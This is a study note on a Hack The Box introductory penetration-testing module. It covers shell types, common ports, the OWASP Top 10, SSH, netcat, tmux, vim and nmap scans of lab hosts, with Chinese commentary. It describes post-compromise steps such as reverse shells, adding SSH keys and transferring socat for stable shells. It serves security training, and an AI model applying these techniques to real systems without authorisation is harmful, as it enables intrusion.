下面是第二个模块,和第一个模块一样,一部分是理论部分,另外一部分对整个课程进行了简单的描述,所以把整个课程学完了以后再回头过来看看。

This module may need soma basic knowledge of Linux, Network and Web application.

Infosec Overview

information security is a vast field which includes but not limited to network security, infrastructure security, application security, security testing, systems auditing, web security, digital forensics, incident detection and response.

In a nutshell, infosec is the practise of protecting data from unauthorized access, change, and unlawful use, disruption ,etc. Infosec professionals is focusing on taking actions to mitigate impact of these incidents.

[!NOTE]
Our purpose is protecting the CIA triad or Confidentiality, Interity, and Availability of data.

Risk Management Process

[!TIP]
Notice: Data protection must focus on efficient yet effective policy implementation without negatively affecting an organization's business operations and productivity.

Identify the risk, analyse the risk, evalute teh risk, dealing with the risk, and monitoring the risk.

Red Team vs. Blue Team

This is two terms, the red team refers to attacker's role, while the blue team plays the defenders' part.

  • Red team members usually play an adversary role in breaking into the organization to identify any potential weaknesses that real hackers may utilize to break the organizations' defenses. The most common ways are penetration testing, social engineering, and other techniques.

  • Blue team members make up the majority of infosec jobs. They are responsible for strengthening the organization's defenses by analyzing the risks, making up policies, etc.

Getting Started with a Pentest Distro

As a penetration tester, we must understand wide range of technologies and operation systems. We also must understand how set up, maintain and secure both Linux and Windows.

There are countless linux distributions or distros from Debian or Ubuntu base image, but we need specific tools and a list of "must have" to built in distro. In Hack the Box, we will working with Parrot OS.

Notice: we may perform penetration tesing in client's environment, so it it important to set up a freshly installed VM to avoid including security-relevant details from another client environment in our reports by accident or retaining client-sensitive data for significant lengths of time.

[!NOTE]
For this reason, we must have the ability to quickly stand up a new machine in place.

接下来是一系列教程关于如何安装Parrot虚拟机的,这块不表。

Staying Organized

Note: Organization is always crucial. It is essential to priorities clear and accurate documentation from the very beginning.

When writing down the documentation about the scoping information, enumeration data, evidence of exploitation attempts, sensitive data, crendials, and other data obtained during reconnaissance, exploitation, post-exploitation. A sample folder structure may look like follows:

  • EPT: external penetration testing
  • IPT: internal penetration testing
chaostudy@htb[/htb]$ tree Projects/
Projects/
└── Acme Company
    ├── EPT
    │   ├── evidence
    │   │   ├── credentials
    │   │   ├── data
    │   │   └── screenshots
    │   ├── logs
    │   ├── scans
    │   ├── scope
    │   └── tools
    └── IPT
        ├── evidence
        │   ├── credentials
        │   ├── data
        │   └── screenshots
        ├── logs
        ├── scans
        ├── scope
        └── tools

This is an good instance, but some other structure could be reference as well. For instance, create a fodler for each target host and save screenshots. And some people like organize notes by note-taking tool. It is a personal preference.

Note-taking tool includes Cherrytree, VS Code, Evernote, Notion, etc. It is recommend to use Markdown language.

https://dillinger.io
Dillinger is a good tool for Markdown online editer.

https://zhuanlan.zhihu.com/p/362791233
知乎分享的这几款markdown编辑器可以研究一下,尽量不要使用云平台的。我目前使用VS Code加 docs-markdown 插件。

We should aggregating every payload, command, tips as we never know when one may come in handy in the future. We also should maintain a cheat sheet of relevant commands, checklists, report templates of various assessment types, and build a finding/ vulnerability database(title, description, impact, remediation advice, and reference) which can significantly save our time.

Connecting Using VPN

VPN or virtual private network allows us to connect to a private network and access hosts or resources as if we were directly connected to the target private network. And the communication is secured in a tunnel over the shared public network.
Two types of VPNs:

  • SSL VPN which is established between the browser and SSL VPN gateway.
  • Client VPN require the user to install software on their device to establish VPN connection.

Connecting to HTB VPN

HTB purposefully vulnerable VMs or network that require players to connect to the target via a VPN. When we do HTB lab or any penetration testing, we should always consider the network to be hostile, so we should only connect from virtual machine, disallow password authentication, not leave sensitive informaiton on attack VM.

chaostudy@htb[/htb]$ sudo openvpn user.ovpn

Thu Dec 10 18:42:41 2020 OpenVPN 2.4.9 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Apr 21 2020
Thu Dec 10 18:42:41 2020 library versions: OpenSSL 1.1.1g  21 Apr 2020, LZO 2.10
Thu Dec 10 18:42:41 2020 Outgoing Control Channel Authentication: Using 256 bit message hash 'SHA256' for HMAC authentication
Thu Dec 10 18:42:41 2020 Incoming Control Channel Authentication: Using 256 bit message hash 'SHA256' for HMAC authentication
Thu Dec 10 18:42:41 2020 TCP/UDP: Preserving recently used remote address: [AF_INET]
Thu Dec 10 18:42:41 2020 Socket Buffers: R=[212992->212992] S=[212992->212992]
Thu Dec 10 18:42:41 2020 UDP link local: (not bound)
<SNIP>
Thu Dec 10 18:42:41 2020 Initialization Sequence Completed

sudo means run the command as root user, openvpn is the VPN client, user.vpn is the VPN key that we download from the academy module section or HTB platform. For instance, I need download academy-regular.ovpn from my profile

chaostudy@htb[/htb]$ ifconfig
<SNIP>

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
        inet 10.10.x.2  netmask 255.255.254.0  destination 10.10.x.2
        inet6 dead:beef:1::2000  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::d82f:301a:a94a:8723  prefixlen 64  scopeid 0x20<link>
        unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen

ifconfig shows network adapter details

chaostudy@htb[/htb]$ netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         192.168.1.2     0.0.0.0         UG        0 0          0 eth0
10.10.14.0      0.0.0.0         255.255.254.0   U         0 0          0 tun0
10.129.0.0      10.10.14.1      255.255.0.0     UG        0 0          0 tun0
192.168.1.0     0.0.0.0         255.255.255.0   U         0 0          0 eth0

netstat -rn will show the networks accessible via the VPN

目前看这里不太需要,因为学习过程中有一个免费的web版本linux,但是好像免费用户每次只能用2小时,但是可以无限延时。所以还是要自己搭建一个VPN。下图是一个早年的设置教程,看来很久没更新了。

Common Terms

Penetration testing is a enormous field that includes countless technologies. So, here is some most common terms and technologies that we must have a firm grasp of.

Shell

Shell is a program that takes input from the user via keyboard and passes these commands to the operationing system to perform a specific function or action. It is a interactive interface in the early stage, or a command-line interfaces now. For instance, Linux termanal, Windows command-line(cmd.exe), Windows Powershell.

The priginal shell program is sh, then most Linux systems use a program called Bash (Bourne Again Shell) that is an enhanced version of sh. Aside from bash there are also other shells like Zsh, Tcsh, Ksh, etc.

Term: Getting a shell

The first term is "getting a shell" on a box/system. That means the target host has been exploited, and we have obtained shell-level access and can run command interactively as if we are sitting logged in to the host. Here is three types of shell connections:

  • Reverse shell: Intiates a connection back to a "liscener" on our attack box.** 这里我做了一点研究,通常来说我们主动攻击目标机器,并且通过目标的IP和端口继续连接,对方是服务端,我们是客户端,这样属于正向链接,但是假如对方IP是动态的,或者有防火墙入口限制,或者无法得知目标何时能够中病毒,木马等。就需要使用reverse shell,反弹shell或者反转shell.顾名思义,攻击者作为服务端一直监听某个端口,当目标机中了木马或者病毒之类的东西后主动发起对外的连接,即目标机器是客户端。然后建立连接。
  • Bind shell: "Binds" to a specific port on the target host and waits for a connection from our attack box.** 这个就是reverse shell的反义词,即常规的正向shell.
  • Web shell: Runs operating system commands via the web browser, typically not interactive or semi-interactive. It is a one-way or single commands which often be used file or script upload vulnerablity to run a command.**

Each types of shell has its use case, and we can use many languages such as Python, Perl, Go, Bash, etc., to obtain a shell.

Port

A port is a virtal points where network connections begin and end as if a door or windows on a house. We can gain unauthorized access to a home if a door or windows is not corrrectly closed or locked. Port as well.

Each port is assigned a number, and many are standardized across all network connectin (although a service can be configurated to on a non-standard number). For example HTTP use port 80 and HTTPS use port 443.

The below list is some common ports and protocal

Port(s) Protocol
20/21 (TCP) FTP
22 (TCP)    SSH
23 (TCP)    Telnet
25 (TCP)    SMTP
80 (TCP)    HTTP
161 (TCP/UDP)   SNMP
389 (TCP/UDP)   LDAP
443 (TCP)   SSL/TLS (HTTPS)
445 (TCP)   SMB
3389 (TCP)  RDP

这里讲了TCP和UDP的区别,各有65535个端口,不赘述。

[!NOTE]
As a penetration tester, we must be able to quickly recall many TCP and UDP ports and recognize them from their number without have a look it up.

To achieve it, this will come with practice and repetition and eventually become second nature as we attack more boxes, labs, and real-world networks to help us work more effciently.

Some great resource we can use:

https://www.stationx.net/common-ports-cheat-sheet/

Top 100 TCP:

http    80/tcp  0.484143    # World Wide Web HTTP
telnet  23/tcp  0.221265
https   443/tcp 0.208669    # secure http (SSL)
ftp 21/tcp  0.197667    # File Transfer [Control]
ssh 22/tcp  0.182286    # Secure Shell Login
smtp    25/tcp  0.131314    # Simple Mail Transfer
ms-wbt-server   3389/tcp    0.083904    # Microsoft Remote Display Protocol (aka ms-term-serv, microsoft-rdp) | MS WBT Server
pop3    110/tcp 0.077142    # PostOffice V.3 | Post Office Protocol - Version 3
microsoft-ds    445/tcp 0.056944    # SMB directly over IP
netbios-ssn 139/tcp 0.050809    # NETBIOS Session Service
imap    143/tcp 0.050420    # Interim Mail Access Protocol v2 | Internet Message Access Protocol
domain  53/tcp  0.048463    # Domain Name Server
msrpc   135/tcp 0.047798    # epmap | Microsoft RPC services | DCE endpoint resolution
mysql   3306/tcp    0.045390
http-proxy  8080/tcp    0.042052    # http-alt | Common HTTP proxy/second web server port | HTTP Alternate (see port 80)
pptp    1723/tcp    0.032468    # Point-to-point tunnelling protocol
rpcbind 111/tcp 0.030034    # sunrpc | portmapper, rpcbind | SUN Remote Procedure Call
pop3s   995/tcp 0.029921    # POP3 protocol over TLS/SSL | pop3 protocol over TLS/SSL (was spop3)
imaps   993/tcp 0.027199    # imap4 protocol over TLS/SSL
vnc 5900/tcp    0.023560    # rfb | Virtual Network Computer display 0 | Remote Framebuffer
NFS-or-IIS  1025/tcp    0.022406    # blackjack | IIS, NFS, or listener RFS remote_file_sharing | network blackjack
submission  587/tcp 0.019721    # Message Submission
sun-answerbook  8888/tcp    0.016522    # ddi-udp-1 | ddi-tcp-1 | Sun Answerbook HTTP server.  Or gnump3d streaming music server | NewsEDGE server TCP (TCP 1) | NewsEDGE server UDP (UDP 1)
smux    199/tcp 0.015945    # SNMP Unix Multiplexer
h323q931    1720/tcp    0.014277    # h323hostcall | Interactive media | H.323 Call Control Signalling | H.323 Call Control
smtps   465/tcp 0.013888    # igmpv3lite | urd | smtp protocol over TLS/SSL (was ssmtp) | URL Rendesvous Directory for SSM | IGMP over UDP for SSM
afp 548/tcp 0.012395    # afpovertcp | AFP over TCP
ident   113/tcp 0.012370    # auth | ident, tap, Authentication Service | Authentication Service
hosts2-ns   81/tcp  0.012056    # HOSTS2 Name Server
X11:1   6001/tcp    0.011730    # X Window server
snet-sensor-mgmt    10000/tcp   0.011692    # ndmp | SecureNet Pro Sensor https management server or apple airport admin | Network Data Management Protocol
shell   514/tcp 0.011078    # syslog | BSD rshd(8) | cmd like exec, but automatic authentication is performed as for login server
sip 5060/tcp    0.010613    # Session Initiation Protocol (SIP)
bgp 179/tcp 0.010538    # Border Gateway Protocol
LSA-or-nterm    1026/tcp    0.010237    # cap | nterm remote_login network_terminal | Calendar Access Protocol
cisco-sccp  2000/tcp    0.010112    # cisco SCCP (Skinny Client Control Protocol) | Cisco SCCP | Cisco SCCp
https-alt   8443/tcp    0.009986    # pcsync-https | Common alternative https port | PCsync HTTPS
http-alt    8000/tcp    0.009710    # irdmi | A common alternative http port | iRDMI
filenet-tms 32768/tcp   0.009199    # Filenet TMS
rtsp    554/tcp 0.008104    # Real Time Stream Control Protocol | Real Time Streaming Protocol (RTSP)
rsftp   26/tcp  0.007991    # RSFTP
ms-sql-s    1433/tcp    0.007929    # Microsoft-SQL-Server
unknown 49152/tcp   0.007907
dc  2001/tcp    0.007339    # wizard | or nfr20 web queries | curry
printer 515/tcp 0.007214    # spooler (lpd) | spooler
http    8008/tcp    0.006843    # http-alt | IBM HTTP server | HTTP Alternate
unknown 49154/tcp   0.006767
IIS 1027/tcp    0.006724    # 6a44 | IPv6 Behind NAT44 CPEs
nrpe    5666/tcp    0.006614    # Nagios NRPE
ldp 646/tcp 0.006549    # Label Distribution
upnp    5000/tcp    0.006423    # commplex-main | Universal PnP, also Free Internet Chess Server
pcanywheredata  5631/tcp    0.006248
ipp 631/tcp 0.006160    # Internet Printing Protocol -- for one implementation see http://www.cups.org (Common UNIX Printing System) | IPP (Internet Printing Protocol)
unknown 49153/tcp   0.006158
blackice-icecap 8081/tcp    0.006147    # sunproxyadmin | ICECap user console | Sun Proxy Admin Service
nfs 2049/tcp    0.006110    # networked file system
kerberos-sec    88/tcp  0.006072    # kerberos | Kerberos (v5) | Kerberos
finger  79/tcp  0.006022
vnc-http    5800/tcp    0.005947    # Virtual Network Computer HTTP Access, display 0
pop3pw  106/tcp 0.005934    # 3com-tsmux | Eudora compatible PW changer | 3COM-TSMUX
ccproxy-ftp 2121/tcp    0.005834    # scientia-ssdb | CCProxy FTP Proxy | SCIENTIA-SSDB
nfsd-status 1110/tcp    0.005809    # nfsd-keepalive | webadmstart | Cluster status info | Start web admin server | Client status info
unknown 49155/tcp   0.005702
X11 6000/tcp    0.005683    # X Window server
login   513/tcp 0.005595    # who | BSD rlogind(8) | remote login a la telnet; automatic authentication performed based on priviledged port numbers and distributed data bases which identify "authentication domains" | maintains data bases showing who's logged in to machines on a local net and the load average of the machine
ftps    990/tcp 0.005570    # ftp protocol, control, over TLS/SSL
wsdapi  5357/tcp    0.005474    # Web Services for Devices
svrloc  427/tcp 0.005382    # Server Location
unknown 49156/tcp   0.005322
klogin  543/tcp 0.005282    # Kerberos (v4/v5)
kshell  544/tcp 0.005269    # krcmd Kerberos (v4/v5) | krcmd
admdog  5101/tcp    0.005156    # talarian-udp | talarian-tcp | (chili!soft asp) | Talarian_TCP | Talarian_UDP
news    144/tcp 0.004981    # uma | NewS window system | Universal Management Architecture
echo    7/tcp   0.004855
ldap    389/tcp 0.004717    # Lightweight Directory Access Protocol
ajp13   8009/tcp    0.004642    # Apache JServ Protocol 1.3
squid-http  3128/tcp    0.004516    # ndl-aas | Active API Server Port
snpp    444/tcp 0.004466    # Simple Network Paging Protocol
abyss   9999/tcp    0.004441    # Abyss web server remote web management interface | distinct
airport-admin   5009/tcp    0.004416    # winfs | Apple AirPort WAP Administration | Microsoft Windows Filesystem
realserver  7070/tcp    0.004328    # arcp | ARCP
aol 5190/tcp    0.004190    # America-Online.  Also can be used by ICQ | America-Online
ppp 3000/tcp    0.004115    # remoteware-cl | hbci | User-level ppp daemon, or chili!soft asp | HBCI | RemoteWare Client
postgresql  5432/tcp    0.004090    # PostgreSQL database server | PostgreSQL Database
upnp    1900/tcp    0.003977    # ssdp | Universal PnP | SSDP
mapper-ws_ethd  3986/tcp    0.003977    # mapper-ws-ethd | MAPPER workstation server
daytime 13/tcp  0.003927
ms-lsa  1029/tcp    0.003801    # solid-mux | Solid Mux Server
discard 9/tcp   0.003764    # sink null
ida-agent   5051/tcp    0.003649    # ita-agent | Symantec Intruder Alert | ITA Agent
unknown 6646/tcp    0.003649
unknown 49157/tcp   0.003573
unknown 1028/tcp    0.003421
rsync   873/tcp 0.003400    # Rsync server ( http://rsync.samba.org )
wms 1755/tcp    0.003350    # Windows media service | ms-streaming
pn-requester    2717/tcp    0.003345    # PN REQUESTER
radmin  4899/tcp    0.003337    # radmin-port | Radmin (www.radmin.com) remote PC control software | RAdmin Port
jetdirect   9100/tcp    0.003287    # pdl-datastream | hp-pdl-datastr | HP JetDirect card | PDL Data Streaming Port | Printer PDL Data Stream
nntp    119/tcp 0.003262    # Network News Transfer Protocol
time    37/tcp  0.003161    # timserver

Top 100 UDP

root@maskelyne:~# sort -r -k3 /usr/share/nmap/nmap-services | grep udp | head -n 100
ipp 631/udp 0.450281    # Internet Printing Protocol
snmp    161/udp 0.433467    # Simple Net Mgmt Proto
netbios-ns  137/udp 0.365163    # NETBIOS Name Service
ntp 123/udp 0.330879    # Network Time Protocol
netbios-dgm 138/udp 0.297830    # NETBIOS Datagram Service
ms-sql-m    1434/udp    0.293184    # Microsoft-SQL-Monitor
microsoft-ds    445/udp 0.253118
msrpc   135/udp 0.244452    # Microsoft RPC services
dhcps   67/udp  0.228010    # DHCP/Bootstrap Protocol Server
domain  53/udp  0.213496    # Domain Name Server
netbios-ssn 139/udp 0.193726    # NETBIOS Session Service
isakmp  500/udp 0.163742
dhcpc   68/udp  0.140118    # DHCP/Bootstrap Protocol Client
route   520/udp 0.139376    # router routed -- RIP
upnp    1900/udp    0.136543    # Universal PnP
nat-t-ike   4500/udp    0.124467    # IKE Nat Traversal negotiation (RFC3947)
syslog  514/udp 0.119804    # BSD syslogd(8)
unknown 49152/udp   0.116002
snmptrap    162/udp 0.103346    # snmp-trap
tftp    69/udp  0.102835    # Trivial File Transfer
zeroconf    5353/udp    0.100166    # Mac OS X Bonjour/Zeroconf port
rpcbind 111/udp 0.093988    # portmapper, rpcbind
unknown 49154/udp   0.092369
L2TP    1701/udp    0.076163
puparp  998/udp 0.073395
vsinet  996/udp 0.073362
maitrd  997/udp 0.073247
applix  999/udp 0.073230    # Applix ac
netassistant    3283/udp    0.066072    # Apple Remote Desktop Net Assistant reporting feature
unknown 49153/udp   0.060743
radius  1812/udp    0.053839    # RADIUS authentication protocol (RFC 2138)
profile 136/udp 0.051862    # PROFILE Naming System
msantipiracy    2222/udp    0.047902    # Microsoft Office OS X antipiracy network monitor
nfs 2049/udp    0.044531    # networked file system
omad    32768/udp   0.044407    # OpenMosix Autodiscovery Daemon
sip 5060/udp    0.044350    # Session Initiation Protocol (SIP)
blackjack   1025/udp    0.041813    # network blackjack
ms-sql-s    1433/udp    0.036821    # Microsoft-SQL-Server
IISrpc-or-vat   3456/udp    0.036607    # also VAT default data
http    80/udp  0.035767    # World Wide Web HTTP
bakbonenetvault 20031/udp   0.025490    # BakBone NetVault primary communications port
win-rpc 1026/udp    0.024777    # Commonly used to send MS Messenger spam
echo    7/udp   0.024679
radacct 1646/udp    0.023196    # radius accounting
radius  1645/udp    0.023180    # radius authentication
http-rpc-epmap  593/udp 0.022933    # HTTP RPC Ep Map
ntalk   518/udp 0.022208    # (talkd)
dls-monitor 2048/udp    0.021549
serialnumberd   626/udp 0.021473    # Mac OS X Server serial number (licensing) daemon
unknown 1027/udp    0.019822
xdmcp   177/udp 0.018551    # X Display Manager Control Protocol
h323gatestat    1719/udp    0.018500    # H.323 Gatestat
svrloc  427/udp 0.018270    # Server Location
retrospect  497/udp 0.017348
sun-answerbook  8888/tcp    0.016522    # ddi-udp-1 | ddi-tcp-1 | Sun Answerbook HTTP server.  Or gnump3d streaming music server | NewsEDGE server TCP (TCP 1) | NewsEDGE server UDP (UDP 1)
krb524  4444/udp    0.016343
unknown 1023/udp    0.016188
unknown 65024/udp   0.016064
chargen 19/udp  0.015865    # ttytst source Character Generator
discard 9/udp   0.015733    # sink null
unknown 49193/udp   0.015562
solid-mux   1029/udp    0.014536    # Solid Mux Server
tacacs  49/udp  0.014020    # Login Host Protocol (TACACS)
kerberos-sec    88/udp  0.013476    # Kerberos (v5)
ms-lsa  1028/udp    0.013443
wdbrpc  17185/udp   0.013395    # vxWorks WDB remote debugging ONCRPC
h225gatedisc    1718/udp    0.012554    # H.225 gatekeeper discovery
unknown 49186/udp   0.012550
cisco-sccp  2000/udp    0.011697    # cisco SCCP (Skinny Client Control Protocol)
BackOrifice 31337/udp   0.011469    # cDc Back Orifice remote admin tool
unknown 49201/udp   0.011044
unknown 49192/udp   0.011044
printer 515/udp 0.011022    # spooler (lpd)
rockwell-csp2   2223/udp    0.010902    # Rockwell CSP2
https   443/udp 0.010840
unknown 49181/udp   0.010542
radacct 1813/udp    0.010429    # RADIUS accounting protocol (RFC 2139)
cfdptkt 120/udp 0.010181
pcmail-srv  158/udp 0.010148    # PCMail Server
unknown 49200/udp   0.010040
adobeserver-3   3703/udp    0.009580    # Adobe Server 3
unknown 32815/udp   0.009322
qotd    17/udp  0.009209    # Quote of the Day
upnp    5000/udp    0.008913    # also complex-main
sometimes-rpc6  32771/udp   0.008490    # Sometimes an RPC port on my Solaris box (rusersd)
unknown 33281/udp   0.008286
iad1    1030/udp    0.008007    # BBN IAD
exp2    1022/udp    0.007929    # RFC3692-style Experiment 2 (*)    [RFC4727]
asf-rmcp    623/udp 0.007929    # ASF Remote Management and Control
filenet-rpc 32769/udp   0.007768    # Filenet RPC
pcanywherestat  5632/udp    0.007694
ndmp    10000/udp   0.007598    # Network Data Management Protocol
unknown 49194/udp   0.007530
unknown 49191/udp   0.007530
unknown 49182/udp   0.007530
unknown 49156/udp   0.007530
wap-wsp 9200/udp    0.007268    # WAP connectionless session services
unknown 30718/udp   0.007190
unknown 49211/udp   0.007028
unknown 49190/udp   0.007028

Web Server

A web server is an application that runs on the back end server, which handles all of the HTTP traffic from the client-side browser, routes them to the requrests destination pages, and finally responds to the client-side browser.

The web applications tend to be open for public interaction and facing the internet. Therefore, it can provide a vast attack surface, making them a high value target for attackers and pentesters.

Open Web Application Security Project or OWASP sets up and maintains a standardized list of the top 10 dangerous web application vulnerabilities but is not an exhaustive list of all possible vulnerabilities. Also, OWASP 10 is a starting point for the top categaries of flwas that assessor should be checking for.

  • Broken Access Control: Restrictions are not appropriately implemented to prevent users from accessing other users accounts, viewing sensitive data, accessing unauthorized functionality, modifying date, etc.
  • Cryptographic Failures: Failures related to cryptography which ofren leads to sensitive data exposure or system compromise.
  • Injection: User-supplied data is not validated, filtered, or sanitized by the application. For instance, SQL injection, Command injection, LDAP injection.
  • Insecure Design: These issues happen when the application is not designed with security in mind.
  • Security Misconfiguration: Missing appropriate security hardening across any part of the application stack, insecure default configurations, open cloud storage.
  • Vulnerable and Outdated Components: Using components that are vulnerable, unsupported, or out of date.
  • Identification and Authentication Failure: Authentication-related attacks that target user's identity, authentication, and session management.
  • Software and Data Integrity Failures: Code and infrastrueture that does not protect against integraty violations.
  • Security Logging and Monitoring Failures: Without logging and monitoring, breaches cannot be detected.
  • Server-Side Request Forgery: Attacker to coerce(force) the application to send a crafted request to an unexpected destination.

[!NOTE]
It is essential to become familiar with each of these categories and various vulnerabilities that fit each.

Basic Tools

Tools such as SSH, Netcat, Tmux, and Vim are essential and are used daily by most information security processional.

Using SSH

SSH or Secure Shell is a network protocol that runs on port 22 by default and provide users a secure way to access a computer remotely.
SSH can be configured with password authentication or passwordless using public key authentication using an SSH public/private key pair.
SSH allow users connect to other networks using port forwarding, and upload/download files to and from teh remote system.

In the real world assessment or attacking a box, we often obtain cleartext credentials or an SSH private key that can be leveraged to connect directly to a system via SSH. Importantly, SSH connection is typically much more stable than a reverse shell, and often be used as a "jump host" to enumerate and attack other hosts. Aside from getting the credential, we can also compromised system to read local private key or add our public key to gain SSH access.

Here is the command:
we need username/password and remote server IP

chaostudy@htb[/htb]$ ssh Bob@10.10.10.10

Bob@remotehost's password: *********

Bob@remotehost#

Using Netcat

Netcat, ncat or nc, is an excellent network utility for interacting with TCP/UDP ports. The primary usage is for connecting to shells, and connect to any listening port to interact with the service running on that port.

Here is an example,use netcat to interact with ssh:

chaostudy@htb[/htb]$ netcat 10.10.10.10 22

SSH-2.0-OpenSSH_8.4p1 Debian-3
Term: Banner Grabbing

As we can see, port 22 send back a banner, stating that SSH is running on this IP and port.This technology is called Banner Grabbing. So, we can utilise this to help us identify what service is running on a particular port.

In windows system, there is another alternative tool in PowerShell called PowerCat.

Another similar network utility is socat, which has a few feather that netcats does not have, like forwarding ports and connecting to serial devices. Socat can also be used to upgrade a shell to a fully interactive TTY(teletyprewriter)
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-2-using-socat.

A standalone binary https://github.com/andrew-d/static-binaries of Socat can be transferred to a system after obtaining remote code execution to get a more stable reverse shell connection. Therefore, socat is a very handy utility.

Using Tmux

Tmux or Terminal multiplexers, can expand a standard Linux terminal's features, like having multiple windows within one terminal and jumping between them, and keep the programming in the backend even close the terminal.

Install Tmux

[!bash!]$ sudo apt install tmux -y

type tmux to start it
Press prefix key before using tmux functions, the default prefix key is [ctrl + B], then press functions:
C: open a new terminal window
0 or 1: switch to terminal 0 or 1
shift + %: vertically split a window into two
shift + ": horizontally split a window into two
left or right arrow key: switch window horizontally
up or down arrow key: switch windos vertically

Here are two links about how to use Tmux:

https://tmuxcheatsheet.com/
https://www.youtube.com/watch?v=Lqehvpe_djs

Using Vim

Vim is a great text editor that can be used for writing code or editing text files on Linux system. It is fully keyboard input, which will significantly increat productivity and effciency in writing/editing code.

Some examples:
Open a file: vim + file name, if there is not this file, Vim will create a new file:

[!bash!]$ vim /etc/hosts

edit a file: once the file is opened, it it in read-only normal mode. So, to edit this file, we need press i key to enter insert mode. In this mode, "-- INSERT --" will be shown at the bottom of the terminal.
exit the insert mode: once we finish the editing, hit the escape key to get out of insert mode, back into normal mode.
useful command in normal mode: In the normal mode, here are some keys to perform some useful shortcuts:

Command Description
x       Cut character
dw      Cut word
dd      Cut full line
yw      Copy word
yy      Copy full line
p       Paste

'4yw' wound copy 4 words instead one, and so on.

save a file or quit Vim: press : to go into command mode. Then we can see the command wo type in at the bottom of the terminal.

Command Description
:1      Go to line number 1.
:w      Write the file, save
:q      Quit
:q!     Quit without saving
:wq     Write and quit

Here is the command cheat sheet: https://vimsheet.com/

Service Scanning

Now, Let us start exploiting a machine, the first thing need to do is identify the operating system and and available services that might be running. What we are interested in are that either misconfigurated or have a vulnerability. Instead of performing the actions expected as part of the service, we are interested to see if we can coerce(force) the service into performing some unintended action that supports our objectives, such as executing a command of our choosing.

Each computer has been assigned an IP address, which allow them to be uniquely identified and accessible on a network. Then, services running on this computer will be assigned some port numbers to make the service access accessible. The entire range is 1 to 65,535, but port number 1 to 1,023 has been reserved for privileged services. Port 0 is reserved in TCP/IP or "wild card", so anything attempt to bind port 0 will be assigned the next port above port 1,024.

Manually examining all of the 65,535 ports for any available services would be labrious, and so we nned automate tools to help us. One of the most commonly used scanning tools is Nmap or Netowrk Mapper.

Nmap

Basic scan is very easy to use, type nmap + target IP address and hit return. Nmap will quickly scan the 1,000 most common ports (TCP) by default if we do not specify any additional options.

chaostudy@htb[/htb]$ nmap 10.129.42.253

Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 16:07 EST
Nmap scan report for 10.129.42.253
Host is up (0.11s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 2.19 seconds

As we can see, port shows the numbers and TCP or UDP (default scan is TCP unless we configurate); State confirms these ports are open, sometime we may see filtered which means a firewall is only allowing access to the ports from specific addresses; while the service tells us the service's name but this is a typically mapped to the specific port number. However, it could be another service altogether if we instruct Nmap to interact with the service to identify information.

As we gain familarity, we will notice that several ports are commonly associated with Windows or Linux. For instance, port 3389 is the default port for Remote Desktop Service. And port 22(SSH) being available indicates that the target is running Linux/Unix.

Additional parameter:

-sC specify Nmap to try and obtain more detailed information.
-sV instruct Nmap to perform a version scan, identify service protocol, application name and version.
-p- Tell Nmap that we want to scan all 65,535 ports.

chaostudy@htb[/htb]$ nmap -sV -sC -p- 10.129.42.253

Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 16:18 EST
Nmap scan report for 10.129.42.253
Host is up (0.11s latency).
Not shown: 65530 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Feb 25 19:25 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: PHP 7.4.3 - phpinfo()
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: GS-SVCSCAN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-02-25T21:21:51
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 233.68 seconds

This returns a lot more information. So, let us have a analysing. For instance, from application version, we see the reported version is OpenSSH 8.2p1 Ubuntu 4ubuntu0.1. In Ubuntu OpenSSH package changelogs, we see the releases version is 1:7.3p1-1ubuntu0.1. So, change our version information format to fit this, we get 1:8.2p1-4ubuntu0.1.

Then Google search for this version reveals that in it is included in Ubuntu Linux Focal Fossa 20.04.

Then we can Google this version

We can also try to dig more such as looking at the http information. Here the target use apache 2.4.41 and PHP version is 7.4.3.

However, it it worth nothing unless it is vulnerable.

Nmap Scripts

-sC: it also can be use for running many default secipts against a target, but there are cases when running a specific script is required. For example, use this to audit Citrix Installation for the severe Citrix NetScaler vulerabilityCVE-2019-19781 in an assessment scope.
Running an Nmap script:

nmap --script <script name> -p<port> <host>

locate scripts/citrix: List various available nmap scripts

chaostudy@htb[/htb]$ locate scripts/citrix

/usr/share/nmap/scripts/citrix-brute-xml.nse
/usr/share/nmap/scripts/citrix-enum-apps-xml.nse
/usr/share/nmap/scripts/citrix-enum-apps.nse
/usr/share/nmap/scripts/citrix-enum-servers-xml.nse
/usr/share/nmap/scripts/citrix-enum-servers.nse

In the following modules, we can learn more details.

Attacking Network Services

Banner Grabbing
Nmap also can be used in Banner Grabbing like Netcat.

nmap -sV --script=banner "target"

